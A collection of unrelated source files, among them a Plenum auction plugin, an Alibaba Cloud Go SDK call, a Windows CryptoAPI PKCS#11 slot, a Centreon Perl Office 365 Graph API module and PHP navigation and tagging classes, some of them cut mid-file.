    compiler.plugin('emit', (compilation, callback) => {
      return '';
    });
  }
}


text:
import { AppError } from './app-error';
export class NotFoundError extends AppError{

}


text:
from plenum.common.constants import DOMAIN_LEDGER_ID
from plenum.server.client_authn import CoreAuthNr
from plenum.test.plugin.demo_plugin import AUCTION_LEDGER_ID
from plenum.test.plugin.demo_plugin.batch_handlers.auction_batch_handler import AuctionBatchHandler
from plenum.test.plugin.demo_plugin.config import get_config
from plenum.test.plugin.demo_plugin.request_handlers.auction_end_handler import AuctionEndHandler
from plenum.test.plugin.demo_plugin.request_handlers.auction_start_handler import AuctionStartHandler
from plenum.test.plugin.demo_plugin.request_handlers.get_auction import GetAuctionHandler
from plenum.test.plugin.demo_plugin.request_handlers.get_bal_handler import GetBalHandler
from plenum.test.plugin.demo_plugin.request_handlers.place_bid_handler import PlaceBidHandler
from plenum.test.plugin.demo_plugin.storage import get_auction_hash_store, \
    get_auction_ledger, get_auction_state

def integrate_plugin_in_node(node):
    node.config = get_config(node.config)
    hash_store = get_auction_hash_store(node.dataLocation)
    ledger = get_auction_ledger(node.dataLocation,
                                node.config.auctionTransactionsFile,
                                hash_store, node.config)
    state = get_auction_state(node.dataLocation,
                              node.config.auctionStateDbName,
                              node.config)
    if AUCTION_LEDGER_ID not in node.ledger_ids:
        node.ledger_ids.append(AUCTION_LEDGER_ID)
    node.ledgerManager.addLedger(AUCTION_LEDGER_ID,
                                 ledger,
                                 postTxnAddedToLedgerClbk=node.postTxnFromCatchupAddedToLedger)
    node.on_new_ledger_added(AUCTION_LEDGER_ID)
    node.register_state(AUCTION_LEDGER_ID, state)

    auctions = {}
    node.write_manager.register_req_handler(AuctionStartHandler(node.db_manager, auctions))
    node.write_manager.register_req_handler(AuctionEndHandler(node.db_manager, auctions))
    node.write_manager.register_req_handler(PlaceBidHandler(node.db_manager, auctions))
    node.read_manager.register_req_handler(GetBalHandler(node.db_manager))
    node.read_manager.register_req_handler(GetAuctionHandler(node.db_manager))
    # FIXME: find a generic way of registering DBs
    node.db_manager.register_new_database(lid=AUCTION_LEDGER_ID,
                                          ledger=ledger,
                                          state=state)
    node.write_manager.register_batch_handler(AuctionBatchHandler(node.db_manager),
                                              ledger_id=AUCTION_LEDGER_ID,
                                              add_to_begin=True)
    node.write_manager.register_batch_handler(node.write_manager.node_reg_handler,
                                              ledger_id=AUCTION_LEDGER_ID)
    node.write_manager.register_batch_handler(node.write_manager.primary_reg_handler,
                                              ledger_id=AUCTION_LEDGER_ID)
    node.write_manager.register_batch_handler(node.write_manager.audit_b_handler,
                                              ledger_id=AUCTION_LEDGER_ID)

    auction_authnr = CoreAuthNr(node.write_manager.txn_types,
                                node.read_manager.txn_types,
                                node.action_manager.txn_types,
                                node.states[DOMAIN_LEDGER_ID])
    node.clientAuthNr.register_authenticator(auction_authnr)
    return node


text:
#ifndef INVERSE_DYNAMICS_EXAMPLE_H
#define INVERSE_DYNAMICS_EXAMPLE_H

enum btInverseDynamicsExampleOptions
{
	BT_ID_LOAD_URDF=1,
	BT_ID_PROGRAMMATICALLY=2
};

class CommonExampleInterface*    InverseDynamicsExampleCreateFunc(struct CommonExampleOptions& options);

#endif //INVERSE_DYNAMICS_EXAMPLE_H


text:
class Food < ActiveRecord::Base
  has_many :likes

  belongs_to :food_category
  belongs_to :recipe
  belongs_to :fast_food
  belongs_to :restaurant
  belongs_to :blog_post
end


text:
title: CreateHWModelDemo
keywords:
last_updated: November 07, 2016
tags:
summary: Create demo Hull White model.
sidebar: excel_sidebar
permalink: CreateHWModelDemo.html
folder: excel
---

## Description
Create demo Hull White model.  Will be used for discounting and forecasting any indices specified.

<!--HUMAN EDIT START-->

<!--## Details-->

<!--HUMAN EDIT END-->

## Example Sheet

    EPE.xlsx

## Arguments

* **objectName** The name that this object will be assigned on the map. Should be unique.
* **meanReversion** (Double)The constant rate of mean reversion.
* **flatVol** (Double)The constant short rate volatility.  Note that this is a Gaussian vol and will in general be lower than the vol that would be used in Black.
* **baseCurve** (IDiscountingSource)The curve to which zero coupon bond prices will be calibrated.
* **forecastIndices** ([FloatRateIndex](FloatRateIndex.html))The indices that should be forecast with this same curve.  No spreads are added.

<!--HUMAN EDIT START-->

<!--## Validation-->

<!--HUMAN EDIT END-->


text:
package snsuapi

//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
//http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
//
// Code generated by Alibaba Cloud SDK Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.

import (
	"github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests"
	"github.com/aliyun/alibaba-cloud-sdk-go/sdk/responses"
)

// MobileStatusQuery invokes the snsuapi.MobileStatusQuery API synchronously
// api document: https://help.aliyun.com/api/snsuapi/mobilestatusquery.html
func (client *Client) MobileStatusQuery(request *MobileStatusQueryRequest) (response *MobileStatusQueryResponse, err error) {
	response = CreateMobileStatusQueryResponse()
	err = client.DoAction(request, response)
	return
}

// MobileStatusQueryWithChan invokes the snsuapi.MobileStatusQuery API asynchronously
// api document: https://help.aliyun.com/api/snsuapi/mobilestatusquery.html
// asynchronous document: https://help.aliyun.com/document_detail/66220.html
func (client *Client) MobileStatusQueryWithChan(request *MobileStatusQueryRequest) (<-chan *MobileStatusQueryResponse, <-chan error) {
	responseChan := make(chan *MobileStatusQueryResponse, 1)
	errChan := make(chan error, 1)
	err := client.AddAsyncTask(func() {
		defer close(responseChan)
		defer close(errChan)
		response, err := client.MobileStatusQuery(request)
		if err != nil {
			errChan <- err
		} else {
			responseChan <- response
		}
	})
	if err != nil {
		errChan <- err
		close(responseChan)
		close(errChan)
	}
	return responseChan, errChan
}

// MobileStatusQueryWithCallback invokes the snsuapi.MobileStatusQuery API asynchronously
// api document: https://help.aliyun.com/api/snsuapi/mobilestatusquery.html
// asynchronous document: https://help.aliyun.com/document_detail/66220.html
func (client *Client) MobileStatusQueryWithCallback(request *MobileStatusQueryRequest, callback func(response *MobileStatusQueryResponse, err error)) <-chan int {
	result := make(chan int, 1)
	err := client.AddAsyncTask(func() {
		var response *MobileStatusQueryResponse
		var err error
		defer close(result)
		response, err = client.MobileStatusQuery(request)
		callback(response, err)
		result <- 1
	})
	if err != nil {
		defer close(result)
		callback(nil, err)
		result <- 0
	}
	return result
}

// MobileStatusQueryRequest is the request struct for api MobileStatusQuery
type MobileStatusQueryRequest struct {
	*requests.RpcRequest
	ResourceOwnerId      requests.Integer `position:"Query" name:"ResourceOwnerId"`
	ResourceOwnerAccount string           `position:"Query" name:"ResourceOwnerAccount"`
	CorrelationId        string           `position:"Query" name:"CorrelationId"`
	OwnerId              requests.Integer `position:"Query" name:"OwnerId"`
}

// MobileStatusQueryResponse is the response struct for api MobileStatusQuery
type MobileStatusQueryResponse struct {
	*responses.BaseResponse
	RequestId     string `json:"RequestId" xml:"RequestId"`
	ResultCode    string `json:"ResultCode" xml:"ResultCode"`
	ResultMessage string `json:"ResultMessage" xml:"ResultMessage"`
	ResultModule  bool   `json:"ResultModule" xml:"ResultModule"`
}

// CreateMobileStatusQueryRequest creates a request to invoke MobileStatusQuery API
func CreateMobileStatusQueryRequest() (request *MobileStatusQueryRequest) {
	request = &MobileStatusQueryRequest{
		RpcRequest: &requests.RpcRequest{},
	}
	request.InitWithApiInfo("Snsuapi", "2018-07-09", "MobileStatusQuery", "snsuapi", "openAPI")
	return
}

// CreateMobileStatusQueryResponse creates a response to parse from MobileStatusQuery response
func CreateMobileStatusQueryResponse() (response *MobileStatusQueryResponse) {
	response = &MobileStatusQueryResponse{
		BaseResponse: &responses.BaseResponse{},
	}
	return
}


text:
using namespace mscapi;

#define MS_SLOT_NAME "Windows CryptoAPI"

mscapi::SystemSlot::SystemSlot() :
    core::Slot()
{
    LOGGER_FUNCTION_BEGIN;

    try {
        SET_STRING(this->manufacturerID, MS_SLOT_NAME, 32);
        SET_STRING(this->description, MS_SLOT_NAME, 64);
        this->flags = CKF_TOKEN_PRESENT | CKF_RNG;
        this->hardwareVersion = { 0, 1 };
        this->firmwareVersion = { 0, 1 };

        // Token info
        SET_STRING(this->tokenInfo.label, MS_SLOT_NAME, 32);

        // Add mechanisms
        //   SHA
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA_1, 0, 0, CKF_DIGEST)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA256, 0, 0, CKF_DIGEST)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA384, 0, 0, CKF_DIGEST)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA512, 0, 0, CKF_DIGEST)));
        //   RSA
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_RSA_PKCS_KEY_PAIR_GEN, 1024, 4096, CKF_GENERATE)));
        //      PKCS1
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA1_RSA_PKCS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA256_RSA_PKCS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA384_RSA_PKCS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA512_RSA_PKCS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        //      PSS
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA1_RSA_PKCS_PSS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA256_RSA_PKCS_PSS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA384_RSA_PKCS_PSS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_SHA512_RSA_PKCS_PSS, 1024, 4096, CKF_SIGN | CKF_VERIFY)));
        //      OAEP
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_RSA_PKCS_OAEP, 1024, 4096, CKF_ENCRYPT | CKF_DECRYPT)));
        //   EC
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_ECDSA_KEY_PAIR_GEN, 256, 521, CKF_GENERATE)));
        //      ECDSA
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_ECDSA_SHA1, 256, 521, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_ECDSA_SHA256, 256, 521, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_ECDSA_SHA384, 256, 521, CKF_SIGN | CKF_VERIFY)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_ECDSA_SHA512, 256, 521, CKF_SIGN | CKF_VERIFY)));
        //      ECDH
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_ECDH1_DERIVE, 256, 521, CKF_DERIVE)));
        //   AES
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_AES_KEY_GEN, 128, 256, CKF_GENERATE)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_AES_CBC, 128, 256, CKF_ENCRYPT | CKF_DECRYPT)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_AES_CBC_PAD, 128, 256, CKF_ENCRYPT | CKF_DECRYPT)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_AES_ECB, 128, 256, CKF_ENCRYPT | CKF_DECRYPT)));
        this->mechanisms.add(Scoped<core::Mechanism>(new core::Mechanism(CKM_AES_GCM, 128, 256, CKF_ENCRYPT | CKF_DECRYPT)));
    }
    CATCH_EXCEPTION;
}

Scoped<core::Session> mscapi::SystemSlot::CreateSession()
{
    LOGGER_FUNCTION_BEGIN;

    try {
        return Scoped<core::Session>(new SystemSession());
    }
    CATCH_EXCEPTION;
}


text:
package cloud::microsoft::office365::custom::graphapi;

use strict;
use warnings;
use DateTime;
use centreon::plugins::http;
use centreon::plugins::statefile;
use JSON::XS;
use Text::CSV;
use Encode;
use URI::Encode;
use Digest::MD5 qw(md5_hex);

sub new {
    my ($class, %options) = @_;
    my $self  = {};
    bless $self, $class;

    if (!defined($options{output})) {
        print "Class Custom: Need to specify 'output' argument.\n";
        exit 3;
    }
    if (!defined($options{options})) {
        $options{output}->add_option_msg(short_msg => "Class Custom: Need to specify 'options' argument.");
        $options{output}->option_exit();
    }

    if (!defined($options{noptions})) {
        $options{options}->add_options(arguments => {
            'tenant:s'         => { name => 'tenant' },
            'client-id:s'      => { name => 'client_id' },
            'client-secret:s'  => { name => 'client_secret' },
            'login-endpoint:s' => { name => 'login_endpoint' },
            'graph-endpoint:s' => { name => 'graph_endpoint' },
            'timeout:s'        => { name => 'timeout' }
        });
    }
    $options{options}->add_help(package => __PACKAGE__, sections => 'REST API OPTIONS', once => 1);

    $self->{output} = $options{output};
    $self->{http} = centreon::plugins::http->new(%options);
    $self->{cache} = centreon::plugins::statefile->new(%options);

    return $self;
}

sub set_options {
    my ($self, %options) = @_;

    $self->{option_results} = $options{option_results};
}

sub set_defaults {}

sub check_options {
    my ($self, %options) = @_;

    $self->{tenant} = (defined($self->{option_results}->{tenant})) ? $self->{option_results}->{tenant} : undef;
    $self->{client_id} = (defined($self->{option_results}->{client_id})) ? $self->{option_results}->{client_id} : undef;
    $self->{client_secret} = (defined($self->{option_results}->{client_secret})) ? $self->{option_results}->{client_secret} : undef;
    $self->{login_endpoint} = (defined($self->{option_results}->{login_endpoint})) ? $self->{option_results}->{login_endpoint} : 'https://login.microsoftonline.com';
    $self->{graph_endpoint} = (defined($self->{option_results}->{graph_endpoint})) ? $self->{option_results}->{graph_endpoint} : 'https://graph.microsoft.com';
    $self->{timeout} = (defined($self->{option_results}->{timeout})) ? $self->{option_results}->{timeout} : 10;

    if (!defined($self->{tenant}) || $self->{tenant} eq '') {
        $self->{output}->add_option_msg(short_msg => "Need to specify --tenant option.");
        $self->{output}->option_exit();
    }
    if (!defined($self->{client_id}) || $self->{client_id} eq '') {
        $self->{output}->add_option_msg(short_msg => "Need to specify --client-id option.");
        $self->{output}->option_exit();
    }
    if (!defined($self->{client_secret}) || $self->{client_secret} eq '') {
        $self->{output}->add_option_msg(short_msg => "Need to specify --client-secret option.");
        $self->{output}->option_exit();
    }

    $self->{cache}->check_options(option_results => $self->{option_results});

    return 0;
}

sub build_options_for_httplib {
    my ($self, %options) = @_;

    $self->{option_results}->{timeout} = $self->{timeout};
    $self->{option_results}->{warning_status} = '';
    $self->{option_results}->{critical_status} = '';
    $self->{option_results}->{unknown_status} = '';
}

sub settings {
    my ($self, %options) = @_;

    $self->build_options_for_httplib();
    $self->{http}->add_header(key => 'Accept', value => 'application/json');
    $self->{http}->add_header(key => 'Content-Type', value => 'application/x-www-form-urlencoded');
    if (defined($self->{access_token})) {
        $self->{http}->add_header(key => 'Authorization', value => 'Bearer ' . $self->{access_token});
    }
    $self->{http}->set_options(%{$self->{option_results}});
}

sub get_access_token {
    my ($self, %options) = @_;

    my $has_cache_file = $options{statefile}->read(statefile => 'office365_graphapi_' . md5_hex($self->{tenant}) . '_' . md5_hex($self->{client_id}));
    my $expires_on = $options{statefile}->get(name => 'expires_on');
    my $access_token = $options{statefile}->get(name => 'access_token');

    if ($has_cache_file == 0 || !defined($access_token) || (($expires_on - time()) < 10)) {
        my $uri = URI::Encode->new({encode_reserved => 1});
        my $encoded_client_secret = $uri->encode($self->{client_secret});
        my $encoded_graph_endpoint = $uri->encode($self->{graph_endpoint} . '/.default');
        my $post_data = 'grant_type=client_credentials' .
            '&client_id=' . $self->{client_id} .
            '&client_secret=' . $encoded_client_secret .
            '&scope=' . $encoded_graph_endpoint;

        $self->settings();

        my $content = $self->{http}->request(method => 'POST', query_form_post => $post_data,
                                             full_url => $self->{login_endpoint} . '/' . $self->{tenant} . '/oauth2/v2.0/token',
                                             hostname => '');

        my $decoded;
        eval {
            $decoded = JSON::XS->new->utf8->decode($content);
        };
        if ($@) {
            $self->{output}->output_add(long_msg => $content, debug => 1);
            $self->{output}->add_option_msg(short_msg => "Cannot decode json response");
            $self->{output}->option_exit();
        }
        if (defined($decoded->{error})) {
            $self->{output}->output_add(long_msg => "Error message : " . $decoded->{error_description}, debug => 1);
            $self->{output}->add_option_msg(short_msg => "Login endpoint API return error code '" . $decoded->{error} . "' (add --debug option for detailed message)");
            $self->{output}->option_exit();
        }

        $access_token = $decoded->{access_token};
        my $datas = { last_timestamp => time(), access_token => $decoded->{access_token}, expires_on => time() + $decoded->{expires_in} };
        $options{statefile}->write(data => $datas);
    }

    return $access_token;
}

sub request_api_json { #so lame for now
    my ($self, %options) = @_;

    if (!defined($self->{access_token})) {
        $self->{access_token} = $self->get_access_token(statefile => $self->{cache});
    }

    $self->settings();

    my @results;
    my %local_options = %options;

    while (1) {
        $self->{output}->output_add(long_msg => "URL: '" . $local_options{full_url} . "'", debug => 1);

        my $content = $self->{http}->request(%local_options);

        if ($self->{http}->get_code() == 429) {
            last;
        }

        my $decoded;
        eval {
            $decoded = JSON::XS->new->utf8->decode($content);
        };
        if ($@) {
            $self->{output}->output_add(long_msg => $content, debug => 1);
            $self->{output}->add_option_msg(short_msg => "Cannot decode json response: $@");
            $self->{output}->option_exit();
        }
        if (defined($decoded->{error})) {
            $self->{output}->output_add(long_msg => "Error message : " . $decoded->{error}->{message}, debug => 1);
            $self->{output}->add_option_msg(short_msg => "Graph endpoint API return error code '" . $decoded->{error}->{code} . "' (add --debug option for detailed message)");
            $self->{output}->option_exit();
        }
        push @results, @{$decoded->{value}};

        last if (!defined($decoded->{'@odata.nextLink'}));
        $local_options{full_url} = $decoded->{'@odata.nextLink'};
    }

    return @results;
}

sub request_api_csv {
    my ($self, %options) = @_;

    if (!defined($self->{access_token})) {
        $self->{access_token} = $self->get_access_token(statefile => $self->{cache});
    }

    $self->settings();
    $self->{output}->output_add(long_msg => "URL: '" . $options{full_url} . "'", debug => 1);

    my $content = $self->{http}->request(%options);

    if ($self->{http}->get_code() != 200) {
        my $decoded;
        eval {
            $decoded = JSON::XS->new->utf8->decode($content);
        };
        if ($@) {
            $self->{output}->output_add(long_msg => $content, debug => 1);
            $self->{output}->add_option_msg(short_msg => "Cannot decode json response: $@");
            $self->{output}->option_exit();
        }
        if (defined($decoded->{error})) {
            $self->{output}->output_add(long_msg => "Error message : " . $decoded->{error}->{message}, debug => 1);
            $self->{output}->add_option_msg(short_msg => "Graph endpoint API return error code '" . $decoded->{error}->{code} . "' (add --debug option for detailed message)");
            $self->{output}->option_exit();
        }
    }

    $content =~ s/^(?:\x{feff}|\x{ef}\x{bb}\x{bf})//;
    my $decoded = encode('UTF-8', $content);

    my @rows;
    eval {
        open my $fh, '<', \$decoded;
        my $csv = Text::CSV->new({ binary => 1 });
        $csv->column_names($csv->getline($fh));
        while (my $row = $csv->getline_hr($fh)) {
            push @rows, $row;
        }
    };
    if ($@) {
        $self->{output}->add_option_msg(short_msg => "Cannot parse csv response: $@");
        $self->{output}->option_exit();
    }

    return \@rows;
}

sub office_get_sharepoint_site_usage_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getSharePointSiteUsageDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_sharepoint_site_usage {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_sharepoint_site_usage_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_sharepoint_activity_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getSharePointActivityUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_sharepoint_activity {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_sharepoint_activity_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_onedrive_usage_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getOneDriveUsageAccountDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_onedrive_usage {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_onedrive_usage_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_onedrive_activity_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getOneDriveActivityUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_onedrive_activity {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_onedrive_activity_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_exchange_activity_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getEmailActivityUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_exchange_activity {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_exchange_activity_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_exchange_mailbox_usage_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getMailboxUsageDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_exchange_mailbox_usage {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_exchange_mailbox_usage_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_teams_activity_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getTeamsUserActivityUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_teams_activity {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_teams_activity_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_teams_device_usage_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getTeamsDeviceUsageUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_teams_device_usage {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_teams_device_usage_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_skype_activity_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getSkypeForBusinessActivityUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_skype_activity {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_skype_activity_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub office_get_skype_device_usage_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/reports/getSkypeForBusinessDeviceUsageUserDetail(" . $options{param} . ")";

    return $url;
}

sub office_get_skype_device_usage {
    my ($self, %options) = @_;

    my $full_url = $self->office_get_skype_device_usage_set_url(%options);
    my $response = $self->request_api_csv(method => 'GET', full_url => $full_url, hostname => '');

    return $response;
}

sub teams_post_notification_set_url {
    my ($self, %options) = @_;

    my $url = $self->{graph_endpoint} . "/v1.0/teams/" . $options{team_id} . "/channels/" . $options{channel_id} . "/messages";

    return $url;
}

sub teams_post_notification {
    my ($self, %options) = @_;

    my $encoded_data = JSON::XS->new->utf8->encode($options{json_request});
    my $full_url = $self->teams_post_notification_set_url(%options);
    my $response = $self->request_api_json(method => 'POST', full_url => $full_url, hostname => '', query_form_post => $encoded_data);

    return $response;
}

1;

__END__

=head1 NAME

Microsoft Office 365 Graph API

=head1 REST API OPTIONS

Microsoft Office 365 Graph API

To connect to the Office 365 Graph API, you must register an application.

Follow the 'How-to guide' in https://docs.microsoft.com/en-us/graph/auth-register-app-v2?view=graph-rest-1.0

This custom mode is using the 'OAuth 2.0 Client Credentials Grant Flow'.

=over 8

=item B<--tenant>

Set Office 365 tenant ID.

=item B<--client-id>

Set Office 365 client ID.

=item B<--client-secret>

Set Office 365 client secret.

=item B<--login-endpoint>

Set Office 365 login endpoint URL (Default: 'https://login.microsoftonline.com')

=item B<--graph-endpoint>

Set Office 365 graph endpoint URL (Default: 'https://graph.microsoft.com')

=item B<--timeout>

Set timeout in seconds (Default: 10).

=back

=head1 DESCRIPTION

B<custom>.

=cut


text:
 2)}">

            {{ info.label }}:

            <Undefined>

            {{ variablesByName[info.name].value | camDate }}

            {{ variablesByName[info.name].value }}

            {{ variablesByName[info.name].valueInfo.objectTypeName }}

            {{ 'DOWNLOAD' | translate }}

            {{ variablesByName[info.name].value }}

          Empty

 2"
       ng-click="toggle($event)"
       tooltip-placement="bottom"
       tooltip="{{ (expanded ? 'LESS_VARIABLES' : 'MORE_VARIABLES') | translate }}">


text:
<?php
/**
 * 透過Modules config可建立 Nagivation 機制
 *
 * @package Mvc\View
 * @subpackage Helpers
 * @author San Haung <san@mail.personalwork.tw>
 * @version 2014122101
 *
 * - 2014-11-24
 * 1. 增加icon變數,讓選單可以前置產生icon圖示
 *
 */

/*
 * Copyright 2014 Michał Strzelczyk
 * mail: kontakt@michalstrzelczyk.pl
 *
 */
namespace Personalwork;

class Navigation {

    /**
     * Navigation config
     *
     * @var \Phalcon\Config
     */
    private $_config = null;

    /**
     * Collection of navigations
     *
     * @var array
     */
    private $_navigations = array();

    /**
     * Build all navigation with confoguration
     *
     * @param type $config
     */
    public function __construct($config) {
        $this->_config = $config;

        foreach ($this->_config as $navigationName => $conf) {
            $conf->name = $navigationName;
            $this->_navigations[$navigationName] = $this->mapNode($conf);
        }
    }

    /**
     * Return all navigation collection
     *
     * @param type $name
     * @return array
     */
    public function getNavigation($name) {
        if (!key_exists($name, $this->_navigations))
            return null;

        return $this->_navigations[$name];
    }

    /**
     * Generate HTML code
     *
     * @param type $name
     * @return type
     */
    public function toHtml($name, $format='bar') {
        $helper = new \Personalwork\Mvc\View\Helpers\Navigate();
        return $helper->toHtml($this->getNavigation($name), $format);
    }

    /**
     * Collection mapper
     *
     * @param type $config
     * @param type $parent
     * @return array
     */
    public function mapCollection($config, $parent = null) {
        $collection = array();
        foreach ($config as $nodeConfig) {
            $node = $this->mapNode($nodeConfig);
            $node->setParent($parent);
            $collection[] = $node;
        }
        return $collection;
    }

    /**
     * Node mapper
     *
     * @param type $config
     * @return \Modules\Navigation\Node
     */
    public function mapNode($config) {

        $node = new \Personalwork\Navigation\Node();
        $allData = $config->toArray();

        foreach($allData as $key => $value){
            if($key == 'childs')
                continue;

            $node->{'set'.ucfirst($key)}($value);
        }

        if (isset($config->childs)) {
            $collection = $this->mapCollection($config->childs, $node);
            $node->setChilds($collection);
        }

        return $node;
    }

    /**
     * Set active node in all navigation collections.
     *
     * @param type $action
     * @param type $controller
     * @param type $module
     * @return void
     */
    public function setActiveNode($action, $controller, $module) {
        $this->dissactiveNodes();

        foreach ($this->_navigations as $navigation) {
            $this->_activeCollection($navigation->getChilds(), $action, $controller, $module);
        }
    }

    /**
     * Activate all active nodes in collection.
     *
     * @param type $collection
     * @param type $action
     * @param type $controller
     * @param type $module
     * @return void
     */
    public function _activeCollection($collection, $action, $controller, $module) {

        foreach ($collection as $node) {
            if ($node->getAction() == $action &&
                    $node->getController() == $controller &&
                        $node->getModule() == $module) {

                $this->_activateNode($node);
            }

            if ($node->hasChilds())
                $this->_activeCollection($node->getChilds(), $action, $controller, $module);
        }
    }

    /**
     * Activate node
     *
     * @param type $node
     * @return void
     */
    private function _activateNode($node)
    {
        $node->setActive(true);
        if (!is_null($node->getParent()))
                $this->_activateNode ($node->getParent());
    }

    /**
     * Dissactive all nodes in collection
     *
     * @param type $collection
     */
    private function _dissactiveCollection($collection) {
        foreach ($collection as $node) {
            $node->setActive(false);
            if ($node->hasChilds())
                $this->dissactiveCollection($node->getChilds());
        }
    }

    /**
     * Dissactive all nodes in all collections
     */
    public function dissactiveNodes() {
        foreach ($this->_navigations as $navigation) {
            $this->_dissactiveCollection($navigation);
        }
    }

}


text:
<?php

    class TaggableDBObject extends DBObject
    {
        protected $tagColumnName;

        public function __construct($table_name, $columns, $id = null)
        {
            parent::__construct($table_name, $columns, $id);
            $this->tagColumnName = strtolower($this->className . '_id');
        }

        public function addTag($name)
        {
            $db = Database::getInstance();

            if(is_null($this->id)) return false;

            $name = trim($name);
            if($name == '') return false;

            $t = new Tag($name);
            $db->query("INSERT IGNORE {$this->tableName}2tags ({$this->tagColumnName}, tag_id) VALUES (:obj_id, :tag_id)", array(':obj_id' => $this->id, ':tag_id' => $t->id));
            return true;
        }

        public function removeTag($name)
        {
            $db = Database::getInstance();

            if(is_null($this->id)) return false;

            $name = trim($name);
            if($name == '') return false;

            $t = new Tag($name);
            $db->query("DELETE FROM {$this->tableName}2tags WHERE {$this->tagColumnName} = :obj_id AND tag_id = :tag_id", array(':obj_id' => $this->id, ':tag_id' => $t->id));
            return true;
        }

        public function clearTags()
        {
            $db = Database::getInstance();
            if(is_null($this->id)) return false;
